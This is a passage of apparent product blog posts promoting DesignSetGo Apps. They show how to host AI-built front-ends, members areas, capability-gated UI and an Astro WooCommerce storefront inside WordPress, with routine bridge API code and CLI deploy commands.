That is the marketing version. The lived version has more cables.

- Two hosts to pay for. Vercel Pro at $20/mo per member, plus whatever the WordPress host costs. Often two database providers, depending on the front-end stack.

- Two SSL certs, two DNS records, two backup schedules.

- Authentication that lives in one place but needs to be recognized by the other if you ever want a signed-in reader to feel signed-in in both places.

- Cookie scope problems on subdomain splits. Login on `yoursite.com` does not see the cookie set by `blog.yoursite.com` unless you go out of your way.

- Two analytics setups, two consent banners, two cookie policies, two tag managers.

- An SEO sitemap that does not actually unify across hosts unless you put it there by hand.

- A theme that drifts. The vibe-coded site has one button style. The WordPress blog has a different one. Every post looks visibly off-brand by month four because nobody is updating the theme.

None of this is hypothetical. Anyone who has shipped a "main site + WordPress blog" split has lived all of it.

#### The shape that avoids the split

The alternative is to keep one WordPress install. Your blog lives where blogs live in WordPress: at `/blog`, with whatever theme you want, with the editor your client already knows.

The rest of the site is your vibe-coded bundle. It deploys into the same WordPress install as a DesignSetGo App, mounted at the site root. WordPress hands `/blog`, `/wp-admin`, `/wp-json`, and the feeds to itself. Every other URL on the domain is your app.

In the manifest it is two lines:

```
"mount": { "mode": "root" }
```

That tells DesignSetGo Apps: this is the front-end. Serve my routes for `/`, `/pricing`, `/about`, `/contact`, anything I declare. Leave the rest to WordPress. The blog stays at `/blog`. The admin stays at `/wp-admin`. The RSS feed at `/feed` stays exactly where Google has been crawling it.

Same domain. One SSL cert. One database. One auth system. One sitemap. One theme conversation, because the vibe-coded front-end is the theme. The blog can pull the same buttons, same fonts, same nav by importing the same CSS or by reading the bridge for site metadata. It will not drift, because there is no second host to drift toward.

#### What you actually keep from each side

You keep the part of WordPress that is good and lose the part you do not want.

What stays from WordPress:

- The editor your client already knows.

- The post types, categories, tags, RSS feeds, archive pages, SEO plugin, sitemap, search.

- Roles and capabilities for who can publish what.

- Comments, if you want them. Pingbacks, if you really want them.

- Every plugin you would have installed for the blog half (Yoast, Rank Math, Akismet, Newsletter Glue, whatever).

What stays from the vibe-coded side:

- The actual interface you spent the weekend on. Real HTML, real URLs, real meta tags, crawlable.

- Whatever stack you built it in. Astro, plain HTML, a Lovable export, a v0 export, a Claude Code project, a Bolt project. If it builds to static files, it deploys.

- Your design system. Your fonts. Your motion. Your copy.

What you do not have to build:

- A second authentication system.

- A headless content API and the cache that backs it.

- A reverse proxy with rewrites that you forget the syntax for every six months.

- A handoff document explaining to the client which CMS edits which page.

#### How the deploy actually works

The fastest path is from Claude Code or Cursor, where you probably already built the front-end.

```
npx designsetgo apps init
# scaffolds dsgo-app.json with mount.mode = "root"

# edit your front-end as normal until it is ready

npx designsetgo apps login
npx designsetgo apps deploy --site https://yoursite.com
```

That copies your build output into the WordPress install, registers the routes you declared, and exposes them at the URLs you specified. Five minutes from cold to live.

If you would rather not use the CLI, the WordPress admin has an HTML importer that takes a zip of your built front-end and does the same thing through the dashboard. Same result, no terminal.

The blog is already there. You did nothing to it. Your visitor goes to `yoursite.com`, sees your vibe-coded homepage. They click `Blog` in the nav, see WordPress with whatever theme you put on it. Same domain, same login, same brand.

#### What this does not do for you

This is not a free move. Three honest limits:

- **You still need a WordPress host.** $5 to $15/mo somewhere. It is not free. The compensation is that you stop paying for the second host you would have used for the front-end.

- **Root-mounted apps deploy through the CLI on Pro.** Free DesignSetGo Apps gives you one app and read-only access; the CLI deploy, scheduled jobs, AI bridge methods, and abilities live in Pro at $149.99/year per site. A 14-day trial unlocks all of it on install, no card. If your front-end is small and you do not mind the admin importer, the free runtime is enough to host the bundle.

- **Only one app per site can claim `root`.** That is a deliberate constraint; "what is the homepage" cannot be a question with two answers. A second large surface mounts at a prefix like `/app/whatever`.

That is the entire footnote section.

#### The honest comparison

The two-site plan is right when:

- You have an existing front-end on a separate host already in production and the migration cost is higher than the recurring split-tax.

- Your front-end is a JavaScript app that you actively redeploy multiple times per day, and you do not want the WordPress install to gate that cadence.

- You have a dedicated team for each side and the org chart already maps to it.

The one-site plan is right when:

- You are starting fresh and the front-end has not gone live yet.

- The blog is the second priority, not the main reason for the site.

- You want the brand, auth, and SEO to be one thing.

- You are the only one maintaining it and a second host is a second pager.

If you are the second case, run one site.

#### Related reading

- [blog.yoursite.com or yoursite.com/blog? A decision for vibe-coded sites](https://designsetgo.dev/blog/2026-06-24-blog-subdomain-or-subdirectory-for-vibe-coded-sites/) walks the SEO and plumbing tradeoff if you still want to split the site in two.

- [Ghost, Substack, Hashnode, or WordPress for the blog on your vibe-coded site?](https://designsetgo.dev/blog/2026-06-25-ghost-substack-hashnode-or-wordpress-for-vibe-coded-blog/) compares the four CMS options once you have decided on a CMS-shaped blog.

- [DesignSetGo vs headless WordPress](https://designsetgo.dev/blog/16-dsgo-vs-headless-wordpress/) makes the broader case for why the wall between front-end and CMS is the wrong wall.

- [Create an Astro site on WordPress in 12 minutes](https://designsetgo.dev/blog/2026-05-10-astro-on-wordpress/) shows the same idea with a working Astro example.

- [WordPress is the backend your vibe-coded app forgot it needed](https://designsetgo.dev/blog/31-wordpress-is-the-backend-your-vibe-coded-app-forgot-it-needed/) frames what the vibe-coded site is missing without it.

### How to create a members area on WordPress without a heavy plugin

URL: https://designsetgo.dev/blog/how-to-create-a-members-area-on-wordpress-without-a-heavy-plugin/
Published: 2026-05-27 · Nealey

If you have searched for “WordPress members area” in the last five years, you have met the cast. MemberPress, MemberMouse, Restrict Content Pro, Paid Memberships Pro, WishList, s2Member. All real plugins. All capable. All bigger than the problem you have.

This post is for the case where you do not need a payment system, a multi-tier subscription engine, or a drip-content scheduler. You need a logged-in page where each member sees their own stuff. A dashboard. A document portal. A list of “things you saved.” A booking history. The thing every site eventually needs and the thing none of the heavyweight membership plugins are sized for.

The smaller path: a small custom app on top of WordPress’s built-in user system. No new login flow, no new role layer, no new database tables, no new wp-admin sidebar group.

#### What you actually need from a members area

Four things, in roughly this order:

- **A login wall.** Only logged-in users see the page.

- **Per-user state.** Each member’s saved stuff is theirs and not the next person’s.

- **A UI that knows who is looking at it.** Greets them by name, shows their data, gates buttons they do not have permission to click.

- **Optional: role-aware sections.** “Trainers see the booking grid, members see their next class.”

WordPress gives you three of those four out of the box. It has had users since 2003, roles and capabilities since 2005, and a `wp-login.php` flow that millions of sites already lean on. The thing it does not ship is the fourth piece: a built-in surface for *building the UI that talks to the WordPress user identity*. That gap is what every membership plugin is trying to fill.

The four big ones fill it with a giant cathedral. We are going to fill it with a 200KB HTML file.

#### The smaller path, in one paragraph

Install [DesignSetGo Apps](https://designsetgo.dev/), open Claude (or ChatGPT, Cursor, Lovable), describe the members-area page you want, save the HTML file, drop it into the DesignSetGo importer in wp-admin. The plugin wraps it in a sandboxed iframe at `yoursite.com/apps/members/`, enforces the WordPress login wall, and gives your app a tiny bridge for reading the current user and writing per-user storage. That is the whole stack. WordPress handles auth. DesignSetGo handles the surface and the boundary. Your app is just an HTML page.

The rest of this post walks one concrete example: a “saved items” dashboard for a fitness-coaching site.

#### Example: a member dashboard with saved workouts

The prompt to Claude (or any AI coder):

```
Build a members-only dashboard as a DesignSetGo app.

Show the logged-in user's name in the header. Below it, render a
list of "saved workouts" pulled from dsgo.storage.user with key
"saved_workouts" (an array of { id, name, savedAt }). Each item
has a "Remove" button.

Below the list, a small form with one text input and a "Save"
button that appends a new workout to the list and rerenders.

If the user is not logged in, show a friendly "Please log in to
see your dashboard" message with a link to the WordPress login.

Use the dsgo.ready promise. Update dsgo-app.json with the
permissions: user (read) and storage.user (read+write).
```

That prompt produces ~100 lines of HTML+JS. The interesting part of the JS:

```
await dsgo.ready;
const user = await dsgo.user.current();

if (!user) {
  showLoginPrompt();
  return;
}

document.querySelector('h1').textContent = `Welcome back, ${user.name}`;

const { value: saved = [] } = await dsgo.storage.user.get({
  key: 'saved_workouts',
});

renderList(saved);

document.querySelector('#save-btn').addEventListener('click', async () => {
  const name = document.querySelector('#workout-input').value;
  const next = [...saved, { id: crypto.randomUUID(), name, savedAt: Date.now() }];
  await dsgo.storage.user.set({ key: 'saved_workouts', value: next });
  renderList(next);
});
```

Two bridge calls do the work: `dsgo.user.current()` tells the app who is looking at it (returns `null` if the visitor is not logged in), and `dsgo.storage.user` stores data scoped to that user. The site owner sees no plugin pages, no new database tables, no “Members” section in wp-admin. The data is just user meta on the standard WordPress user record.

#### What you do not have to build

Things that are not in this code, on purpose:

- **A login flow.** WordPress already ships one. The DesignSetGo runtime sees the standard `wp_logged_in_*` cookie and tells your app whether to render the dashboard or the login prompt. No JWT, no session token, no “remember me” toggle in your code.

- **A user database.** Already exists. `users` table, `usermeta` table, both populated.

- **A roles system.** Already exists. The app can call `dsgo.user.can({ cap: 'edit_posts' })` to gate buttons.

- **A wp-admin “Members” page.** You do not need one. The data lives in usermeta. View it in the standard user-edit screen if you ever care to.

- **A multi-tier subscription engine.** You did not want one when you started reading.

#### What the membership plugins give you that this does not

If you have honest needs in any of these, the cathedral plugins are doing real work and the small path will leave you wanting:

- **Payment processing.** WooCommerce Memberships, Restrict Content Pro, MemberPress all do recurring billing, dunning, proration, coupon codes. DesignSetGo does not. If your members area is also a subscription business, pair this approach with WooCommerce Subscriptions (or use one of the membership plugins for the billing half and put a DSGo app on the dashboard half).

- **Drip-content scheduling.** “Release lesson 3 on day 14 of the subscription.” MemberPress and LearnDash both have drip engines. The DSGo approach can fake it with a CPT and a date filter, but the membership plugin’s UI is purpose-built.

- **Course progress tracking with quizzes.** LearnDash and LifterLMS exist for this exact reason.

If your need is “a logged-in page where each member sees their own stuff,” none of those features matter and you can skip the cathedral.

#### What this costs

PathPlugin costPlugin sizewp-admin pages addedPer-site recurringMemberPress$179/year (single site)~70MB after extensions40+$179/yearMemberMouse$40/monthHosted; some local filesMany$480/yearRestrict Content Pro$99/year~10MB~12$99/yearDesignSetGo Apps (free) + your HTML$0~2MB plugin + ~100KB app2$0DesignSetGo Apps (Pro, multi-site)$25/monthSameSame$300/year
The free path covers the dashboard-style use case completely. Pro adds the CLI, `dsgo.ai.prompt`, scheduled jobs, and multi-site deploys for agencies running this pattern across 30 client sites.

#### When to reach for the cathedral anyway

Three honest cases:

- You want a non-developer at your company to be able to build new gated pages by clicking, not by writing prompts. The membership plugins have admin UIs designed for that.

- You need a subscription-billing system bolted to the access control. Pair WooCommerce Memberships with a small DSGo app for the dashboard, or just buy MemberPress and be done with it.

- You are running a course business with quizzes, drip content, and certificates. Buy LearnDash or LifterLMS.

For the other 80% of “I want a small members area,” the small path is the right answer. WordPress for auth and identity, a DesignSetGo App for the surface, no new plugin sidebar group, no new subscription bill.

#### Try the smaller path

[Install DesignSetGo Apps](https://designsetgo.dev/), follow the [5-minute HTML-upload path](https://designsetgo.dev/blog/the-five-minute-i-have-an-html-file-path/) with the prompt above, and have a working logged-in dashboard at `yoursite.com/apps/members/` before lunch. The members area you were going to spend $179 on is now a 100KB HTML file you wrote in a chat.

#### Further reading

- [Build a member portal](https://designsetgo.dev/blog/build-a-member-portal/): the original member-portal tutorial with the bridge methods explained one layer deeper.

- [Per-app, per-user storage: what it is, what it is not, and how to model it](https://designsetgo.dev/blog/per-app-per-user-storage/): the storage primitive used above, in detail.

- [The plugin pile-on: five plugins one DesignSetGo app can replace](https://designsetgo.dev/blog/the-plugin-pile-on-five-plugins-one-app/): the broader argument about plugin sprawl.

### dsgo.user.can() deep dive: gating UI without writing auth

URL: https://designsetgo.dev/blog/dsgo-user-can-deep-dive/
Published: 2026-05-27 · Nealey

Every app that does anything interesting eventually needs the same conditional: show this button if the user is allowed to use it. Hide that section if they are not. Render the admin tab only for admins. Show the “edit” link to authors but not to subscribers.

In a React app on Vercel, this is a custom permissions library, a role table you keep in sync with your auth provider, and a `useCan()` hook you import everywhere. In a DesignSetGo App, it is one line:

```
const canEdit = await dsgo.user.can('edit_posts');
```

The bridge asks WordPress whether the current visitor has that capability. WordPress already knows. It has known since before your app loaded.

This post is the working tour: the method signature, three real examples, and the gotcha that catches everyone the first time.

#### What `dsgo.user.can()` actually does

The signature:

```
dsgo.user.can(capability: string): Promise<boolean>
```

The bridge sends a `postMessage` to the WordPress parent. The parent calls WordPress’s [`current_user_can()`](https://developer.wordpress.org/reference/functions/current_user_can/) function with the capability string you passed. The result comes back as a boolean.

Three things to know about it.

**It uses the visitor’s identity, not your app’s.** There is no app identity. The bridge runs as whatever WordPress user is currently logged into the site. A logged-out visitor gets `false` for every capability check that requires a role. A subscriber gets `true` for `read` and not much else. An editor gets `true` for `edit_posts`, `edit_others_posts`, `publish_posts`. An admin gets everything.

**It is server-evaluated.** You cannot lie to it by editing JavaScript. The check happens on the WordPress side, against the real WordPress session cookie. If the visitor changes the value in their browser dev tools, the next call returns the truth.

**It honors custom capabilities from other plugins.** This is the part that surprises people. WordPress capabilities are not a fixed list. WooCommerce registers `manage_woocommerce`. Yoast registers SEO-related caps. Membership plugins register subscription-tier caps. ACF registers field-group caps. Your app can ask about any of them:

```
const canManageStore = await dsgo.user.can('manage_woocommerce');
const canSeeAnalytics = await dsgo.user.can('view_woocommerce_reports');
```

If the site has WooCommerce installed, those return the right answer. If not, they return `false`. Your app does not need to know which plugins are installed; it just asks.

#### Example 1: a capability-gated button

The simplest pattern. Show an “edit this” button only to users who can edit:

```
import { dsgo } from '@designsetgo/app-client';
import { useEffect, useState } from 'react';

function EditButton({ postId }: { postId: number }) {
  const [canEdit, setCanEdit] = useState(false);

  useEffect(() => {
    dsgo.user.can('edit_posts').then(setCanEdit);
  }, []);

  if (!canEdit) return null;

  return <a href={`/wp-admin/post.php?post=${postId}&action=edit`}>Edit</a>;
}
```

A subscriber visiting the page never sees the button. An editor does. No app-side logic, no role-to-capability mapping, no list of admin user IDs hardcoded in your bundle.

#### Example 2: an admin-only tab in a multi-tab app

A dashboard with a public “Stats” tab and an admin-only “Settings” tab:

```
function Dashboard() {
  const [isAdmin, setIsAdmin] = useState(false);

  useEffect(() => {
    dsgo.user.can('manage_options').then(setIsAdmin);
  }, []);

  return (
    <Tabs>
      <Tab title="Stats"><StatsView /></Tab>
      {isAdmin && <Tab title="Settings"><SettingsView /></Tab>}
    </Tabs>
  );
}
```

`manage_options` is WordPress’s “you can change site settings” capability, which in practice maps to administrators. If you want “editor or above” instead, use `edit_others_posts`. If you want “anyone who can publish,” use `publish_posts`.

The [WordPress roles and capabilities reference](https://wordpress.org/documentation/article/roles-and-capabilities/) is the canonical list, and [Tuesday’s roles primer](/blog/roles-and-capabilities-primer/) covers which five you will actually use.

#### Example 3: gating a bridge call before you make it

The bridge will reject calls your manifest does not allow. Capability checks let you also gate calls your manifest *does* allow but only some users should make:

```
async function publishStatusUpdate(message: string) {
  if (!(await dsgo.user.can('edit_posts'))) {
    throw new Error('You do not have permission to publish updates.');
  }
  await dsgo.posts.create({ title: 'Status', content: message, status: 'publish' });
}
```

You could also let the call fail and show the error from the server. Checking first lets you produce a friendlier message and avoid the network round-trip. Both are fine. The capability check is a UX courtesy; the actual enforcement is in WordPress.

#### The gotcha that catches everyone

The capability you pass is the *capability*, not the *role*. WordPress’s capability strings are things like `edit_posts`, `publish_posts`, `manage_options`, `delete_users`. They are not `editor`, `admin`, `contributor`.

If you write:

```
const isAdmin = await dsgo.user.can('administrator');
```

That always returns `false`, because `administrator` is a *role*, not a capability. The role contains a bundle of capabilities. The check is on the capability, not the role.

The mental shift: think of capabilities as verbs (`edit_posts`, `manage_options`, `view_woocommerce_reports`). Roles are nouns (`administrator`, `editor`, `subscriber`). Your app asks “can this user do this verb?”, not “is this user this noun?”. The verb survives custom roles, multi-site setups, role-management plugins, and the inevitable “wait, why is this client a Shop Manager?” conversation. The noun does not.

If you genuinely need the role, get it from `dsgo.user.current().roles`. But check the capability when you can.

#### When to use it, and when not to

Use `dsgo.user.can()` for *every* UI element whose visibility or behavior depends on the visitor’s permissions. It is cheap (cached on the WordPress side), it is honest (it asks the actual auth system), and it is portable (it works the same on every site that installs your app).

Do not use it as a security boundary by itself. Capability checks in your app are UX. The bridge enforces permissions on the WordPress side independently: if your manifest does not declare `permissions.write: ['posts']`, your app cannot publish a post no matter what the visitor’s capabilities are. The two layers compose. The manifest says “what this app is allowed to do.” The capability check says “what this *visitor* is allowed to do.” Both have to be true for the call to succeed.

#### Where this goes next

`dsgo.user.can()` is the gateway to most of the patterns in [The bridge cookbook](/blog/the-bridge-cookbook-ten-patterns/). Once you internalize “ask WordPress, do not invent your own roles,” the rest of the bridge API gets a lot smaller.

If you are starting a new app, the [member portal example](/examples/) uses `dsgo.user.can()` in three different places and is a good copy-paste reference. The full method list lives in [BRIDGE-API.md](../BRIDGE-API.md#user).

### The four boring parts of WordPress your vibe-coded app secretly needs

URL: https://designsetgo.dev/blog/the-four-boring-parts-of-wordpress/
Published: 2026-05-26 · Nealey

If you spend a weekend vibe-coding a small app, what you build is mostly UI. A calculator. A configurator. A dashboard. A quiz. The fun part. The part the screenshot is of.

What you actually shipped is something different. You shipped UI plus four pieces of infrastructure you had to re-derive from first principles because the platform you were on did not give them to you. Auth. Content modeling. User accounts. An admin UI for the non-developer humans who have to live with the thing.

Every vibe-coded app reinvents those four. Every one. The Lovable export, the Bolt project, the v0 sandbox, the Claude artifact you saved as HTML, the Next.js app you deployed to Vercel: each one starts at zero on all four and never quite finishes.

WordPress already has all four. The DesignSetGo Apps starter inherits them. That is the whole bet.

Let me walk it.

#### 1. Auth

Every app needs to know who is looking at it. The vibe-coded version of that question usually starts with a Clerk integration, or an Auth0 dashboard, or a Supabase project with a custom OAuth config. Within a week you have a `users` table, a session store, a forgot-password flow, an email-verification step, and a settings page for “change my password.” None of that is the app you set out to build.

WordPress already has all of it. Users, sessions, passwords, role assignments, capability checks, two-factor (with a plugin), SSO (with a plugin), application passwords for API access. Every site that runs WordPress has the entire identity stack live in production with usage data and security patches.

In a DesignSetGo App, the visitor’s WordPress cookie is already in flight when the app loads. You ask:

```
import { dsgo } from '@designsetgo/app-client';
await dsgo.ready;

const me = await dsgo.user.current();
// { id, name, email, roles, capabilities }
```

That is the auth story. If the visitor is logged out, `dsgo.user.current()` returns `null`. If they are logged in, it returns their identity. If you want to gate a UI element on whether they can do something, you ask the bridge with `dsgo.user.can()`, which is [tomorrow’s post](/blog/dsgo-user-can-deep-dive/). There is no SDK to import, no token to refresh, no session to manage. The platform did it.

#### 2. Content modeling

The second thing every vibe-coded app reinvents is its database schema. A list of products, a list of testimonials, a set of FAQs, a roster of team members, a catalog of services, a backlog of blog posts. You always end up with three or four “things you need to display” and a database to hold them in.

In a fresh Supabase or Postgres project, that is a migration file, a TypeScript schema, a CRUD UI you have to build yourself or strap a Refine.dev on top of. In WordPress, that is a custom post type, and the site already has a UI for managing it. WooCommerce ships one for products. ACF ships one for arbitrary fields. The site owner already knows how to publish a post, attach a featured image, set a category, write meta. You do not need to teach them or build a UI.

The bridge reads those CPTs:

```
const products = await dsgo.posts.list({ type: 'product', per_page: 20 });
const team     = await dsgo.posts.list({ type: 'team_member' });
const services = await dsgo.posts.list({ type: 'service', orderby: 'menu_order' });
```

The schema is whatever the site already published. The UI to edit it is the WordPress editor. You did not write either one.

#### 3. User accounts (and the things attached to them)

Auth tells you who is looking. Accounts are what those users *have*: their saved preferences, their drafts, their order history, their progress through a course, the form they half-filled last week. Most vibe-coded apps stash that in localStorage and hope, or build a “user_state” table they then have to keep in sync with auth.

WordPress has user accounts as a first-class concept. Roles. Capabilities. Subscriber-tier accounts on every WordPress site that allows registration. WooCommerce extends them with order history, addresses, payment methods. LearnDash and LifterLMS extend them with course progress. Membership plugins extend them with subscription state.

The bridge gives you per-user, per-app storage that lives server-side under the WordPress user:

```
await dsgo.storage.user.set('quiz_answers', { q1: 'a', q2: 'c' });
const answers = await dsgo.storage.user.get('quiz_answers');
```

The data is tied to whichever WordPress user is logged in. It survives device changes, browser clears, and signing in from a different machine. It is also scoped to your app: another app on the same site cannot read your storage. The per-app, per-user boundary is the runtime’s job, not yours.

[Per-app, per-user storage](/blog/per-app-per-user-storage/) gets its own tutorial in a couple of weeks. The thing to internalize today: account state is a one-line API call and the durability is the platform’s, not yours.

#### 4. An admin UI for the humans

The fourth thing every vibe-coded app eventually needs is the part nobody builds: an interface for the non-developer who has to live with the app. The site owner who needs to update the FAQ. The marketing manager who has to swap the testimonial. The agency client who wants to upload a logo. The person on the other side of the deploy.

Most vibe-coded apps either skip this entirely (the app is dynamic, but the content is hardcoded), or build a janky `/admin` route with their own auth and their own forms.

The WordPress admin is one of the most boring and one of the most valuable artifacts in the ecosystem. It is the UI millions of people already know how to use. It has a media library, a post editor, taxonomy management, user management, and a category-based information architecture. It is the part of WordPress people forget when they say WordPress is “old.”

A DesignSetGo App is a runtime *on top of* that admin. The content the app reads is edited in the admin you already have. The new FAQ entry is a new `faq` post. The new testimonial is a new `testimonial` post. The agency portal in [yesterday’s reading](/blog/build-an-agency-client-dashboard/) lets the client upload files to the admin’s media library through `dsgo.media.upload()`. You did not build any of it.

For apps that need their own admin surface (a settings page, an internal tool, an agency dashboard inside wp-admin), the manifest’s `display.modes` includes `"admin"`, and the app renders as a wp-admin submenu page. Same bundle, different host. [Wednesday’s post](/blog/client-dashboard-inside-wp-admin/) walks that flow.

#### What you stop having to build

Auth. Content modeling. Per-user state. An admin UI.

That is the entire infrastructure layer underneath most vibe-coded apps. WordPress has all four. The DesignSetGo bridge surfaces each one as a one-line API. The app you ship is just the UI, which is the part you wanted to build in the first place.

It is also the part Claude Code, Cursor, v0, Lovable, and Bolt are all *very* good at. The interface is the cheap part now. The expensive part is the platform underneath it.

So pick the platform first. Build the cheap part on top.

#### Further reading

- [BRIDGE-API.md](/docs/#bridge): the full method surface.

- [WordPress as a runtime](/blog/wordpress-as-a-runtime/): the mental model for how the host and app relate.

- [docs/messaging-brief.md](https://github.com/DesignSetGo/designsetgo-apps/blob/main/docs/messaging-brief.md): the full positioning brief if you want the marketing version of this argument.

### The agency client portal, in one weekend: a retro

URL: https://designsetgo.dev/blog/the-agency-client-portal-in-one-weekend/
Published: 2026-05-24 · Nealey

Yesterday I shipped [Build an agency client dashboard once and ship it to every WordPress site](/blog/build-an-agency-client-dashboard/). It walks the whole thing end to end: scaffold the static dashboard, wire it to the bridge for auth and per-client data, deploy the same bundle to every client’s WordPress with one command.

I wrote that post in a single sitting on Friday afternoon and pushed it Saturday morning. This is the retro. What surprised me, what I cut, and one thing I would tell a freelancer reading the tutorial cold.

#### Three things that worked

**The single-bundle, multi-site model is the whole pitch.** Every other approach I have tried for “give every client their own dashboard” eventually hits the same wall: the client’s site diverges from the template, you stop being able to push updates, and within six months you have N copies of the dashboard with subtle differences. The DesignSetGo approach treats the bundle as immutable and the *site* as the place state lives. The client’s data is in their WordPress. The bundle has zero per-client config. The CLI just installs the same bundle on every site. Two months from now I can ship a new version to all of them in one command and nothing will have diverged because there was nothing to diverge.

**Inheriting WordPress auth means the post stops talking about auth.** I went into the writeup expecting a section on “how to handle login.” There is no such section. The dashboard runs in an iframe at `/apps/client-portal/`. The visitor’s WordPress cookie is already in flight. The bridge surfaces `dsgo.user.current()` and you know who is looking at the screen. That is the entire auth story. I cut three paragraphs that turned out to be explaining a thing the runtime had already done.

**`dsgo.media.upload()` plus `dsgo.posts.list({ author: me.id })` is enough.** Those are the two bridge calls that carry the dashboard. One lets the client drop a file back to my media library. The other lets me publish status updates as posts and have them appear, per-client, on the right dashboard. No custom database table, no custom REST endpoint, no plugin. The whole “data model” is two WordPress primitives the site already has.

#### Two things I cut

**The “agency branded” wrapper.** The original draft had a section on white-labeling the install dialog and the admin pages so the client sees the agency’s logo instead of DesignSetGo’s. I cut it. White-label is a Pro feature, the post was already a long tutorial, and that detail would have made the install dialog screenshot look weird (which is the install dialog every reader actually has). It will be its own post in a few weeks ([scheduled](https://github.com/DesignSetGo/designsetgo-apps/blob/main/blog/CONTENT-CALENDAR-30-DAY.md) for the freelancer-week slot).

**The “what if the client wants to edit their own status updates” beat.** This is a real question and the answer is `dsgo.user.can('edit_posts')` plus a manifest with `permissions.write: ['posts']`. But v1 of DesignSetGo Apps is read-only on the write APIs. There is a Pro path for limited writes, but it is not the headline. Putting it in yesterday’s post would have muddled the wedge (“sandboxed AND read-only is the safety story”) so I cut it. Tomorrow’s post (`dsgo.user.can()` deep dive) takes one half of this beat; the other half lives in [docs/wp-7-strategy.md](/docs/) for now.

#### One thing I would tell a freelancer reading cold

The post reads like a tutorial. It is actually a sales document. The freelancer reading it for the first time is not learning to write JavaScript. They are learning that the deliverable they have been quoting for $1,200 over four weeks can be quoted for $1,200 over a weekend, and the maintenance contract that goes on top of it does not require touching every client site by hand.

If you are reading the tutorial cold, do not ship the example unchanged. Ship the *delivery model*. The dashboard you build for client A is the same one you ship to client B with one CLI flag. The retainer is the update channel: every time you cut a new version of the bundle, you push it to all of them, and the agency stops being “the team that maintains 30 sites by hand” and starts being “the team that maintains one app that runs on 30 sites.” That is the part of yesterday’s post worth printing out.

#### What is next

This week is daily-cadence on [designsetgo.dev](https://designsetgo.dev/blog/). Tomorrow’s post is the concept reset: [“The four boring parts of WordPress your vibe-coded app secretly needs”](/blog/the-four-boring-parts-of-wordpress/). Wednesday is a vertical tutorial. The full 30-day calendar is in the repo at [blog/CONTENT-CALENDAR-30-DAY.md](https://github.com/DesignSetGo/designsetgo-apps/blob/main/blog/CONTENT-CALENDAR-30-DAY.md).

If you build the agency portal from yesterday’s tutorial, send me a link. I want to see what you ship.

### Build an Astro WooCommerce storefront without the headless plumbing

URL: https://designsetgo.dev/blog/build-an-astro-woocommerce-storefront-without-the-headless-plumbing/
Published: 2026-05-24 · Nealey

If you search "astro woocommerce" you get a parade of headless tutorials: stand up Astro on Vercel, point it at WooCommerce's Store API over the network, build the auth bridge, build the cart sync, manage two deploys, two domains, two bills. By the time you have a working checkout you have written half a platform.

There is another shape. Build the Astro storefront as a [DesignSetGo App](https://designsetgo.dev/), deploy it onto the same WordPress that runs Woo. The Astro routes serve as real HTML pages at real URLs on your store's domain. The "API" is a same-window bridge call, not a network hop. WooCommerce stays in charge of products, cart, and checkout; your Astro front-end stays in charge of how the store looks and feels.

This post walks you through it end to end with [`@designsetgo/astro`](https://www.npmjs.com/package/@designsetgo/astro). You'll scaffold a project, write a custom catalog page that pulls live products through the bridge, drop in two prebuilt components (cart upsell and product Q&A), and deploy with one command. The integration keeps your manifest honest as you go.

#### What you're going to ship

A storefront with four URLs, all under `/apps/storefront/` on your WooCommerce site:

- `/`, the catalog grid, pulled from `dsgo.commerce.products.list`.

- `/product/:slug`, the single product page, with the `ProductQa` component for AI-grounded product questions.

- `/cart`, the visitor's live Woo cart, with `SmartCartUpsell` slotted underneath.

- Handoff to `/checkout/` on the Woo site for payment, taxes, shipping, and order confirmation.

Two of those pages use prebuilt components from the package. Two are hand-written Astro pages that talk to the bridge directly. The integration handles permission and abilities merging into your `dsgo-app.json` no matter which you reach for.

#### Why this beats headless for Woo specifically

Worth being concrete about. Headless WooCommerce on Vercel or Netlify involves, at minimum:

- A Woo install configured to expose the Store API publicly.

- CORS on the WP side, allow-listing your front-end origin.

- Cookie-or-token cart sync between the headless storefront and the Woo backend (carts are server-side in Woo; you cannot keep them client-only).

- A separate deploy pipeline for the front-end.

- A custom domain story (Astro on `shop.brand.com`, Woo on `brand.com`) or a reverse proxy you maintain.

- A separate auth story if you want logged-in features (loyalty, subscriptions, B2B pricing).

Each step has a failure mode, a debugging story, and a recurring cost. None of them ship value to the merchant.

`@designsetgo/astro` collapses the diagram. Astro and Woo live at the same origin because they are the same origin. Your Astro bundle is served by WordPress as a static asset, the cart bridge call is in-window, the visitor's Woo session is whatever they already had, the deploy is `npx @designsetgo/cli deploy`. You skip steps 1 through 6 by not needing them.

#### Step 1: scaffold the project

```
npx @designsetgo/cli init storefront
cd storefront
npm install @designsetgo/astro
```

The starter is already an Astro project. The CLI drops an `astro.config.mjs` wired to mount the app at `/apps/<slug>/`, a `dsgo-app.json` with the routes pre-declared, a `Layout.astro`, a `CLAUDE.md` so Claude Code or Cursor can read the manifest and bridge surface in working context, and the typed `@designsetgo/app-client` already installed.

Add the integration to `astro.config.mjs`:

```
import { defineConfig } from 'astro/config';
import dsgoAstro from '@designsetgo/astro/integration';

export default defineConfig({
  base: '/apps/storefront/',
  output: 'static',
  trailingSlash: 'always',
  build: { format: 'directory' },
  integrations: [
    dsgoAstro({
      manifest: './dsgo-app.json',
      mode: process.env.CI ? 'check' : 'write',
    }),
  ],
});
```

That's the whole config. On every build, the integration scans your project for `import { ... } from '@designsetgo/astro/woo'`, reads each component's per-component manifest, and unions the required `permissions.read`, `abilities.consumes`, `commerce.providers`, and `commerce.endpoints` into your `dsgo-app.json`. The `mode: 'check'` flag in CI fails the build if anything drifted; locally it stays in `'write'` mode and updates the file in place.

#### Step 2: drive the build with Claude Code, Cursor, or Codex

The starter ships two files at the project root that agents read on open: `CLAUDE.md` (a thin redirect) and `AGENTS.md` (the actual manual). Codex, Cursor, and Aider all look for `AGENTS.md` by name; Claude Code reads `CLAUDE.md`, which `@`-imports the same file. So whichever agent you point at the project opens it with the full extension manual already in working context.

That manual is dense on purpose. It covers the bridge capability map (every `dsgo.*` method, which permission it needs, what it returns), the manifest schema, recipes for the moves you'll make most often (add a static route, add a bridge call, render WP posts with their block styles, call an external API), the dynamic-route template substitution syntax, and the gotchas that bite first-time vibe coders (don't `innerHTML` bridge string data, the CSP nonce is per-request, `npm run dev` won't run bridge calls because there's no host to respond, and so on).

What that buys you: from the first prompt, the agent is not guessing. It knows that `commerce.products.list` needs `permissions.read: ["commerce"]` plus a `commerce` block. It knows the `slug` query param exists. It knows to call `await dsgo.ready` first. It knows to prefer `textContent` + `createElement` over `innerHTML` when rendering anything that came back from the bridge.

A typical sequence for this storefront, prompts you would actually paste:

```
"Add a catalog page at src/pages/index.astro. Pull products from
dsgo.commerce.products.list with per_page: 24, render as a grid of
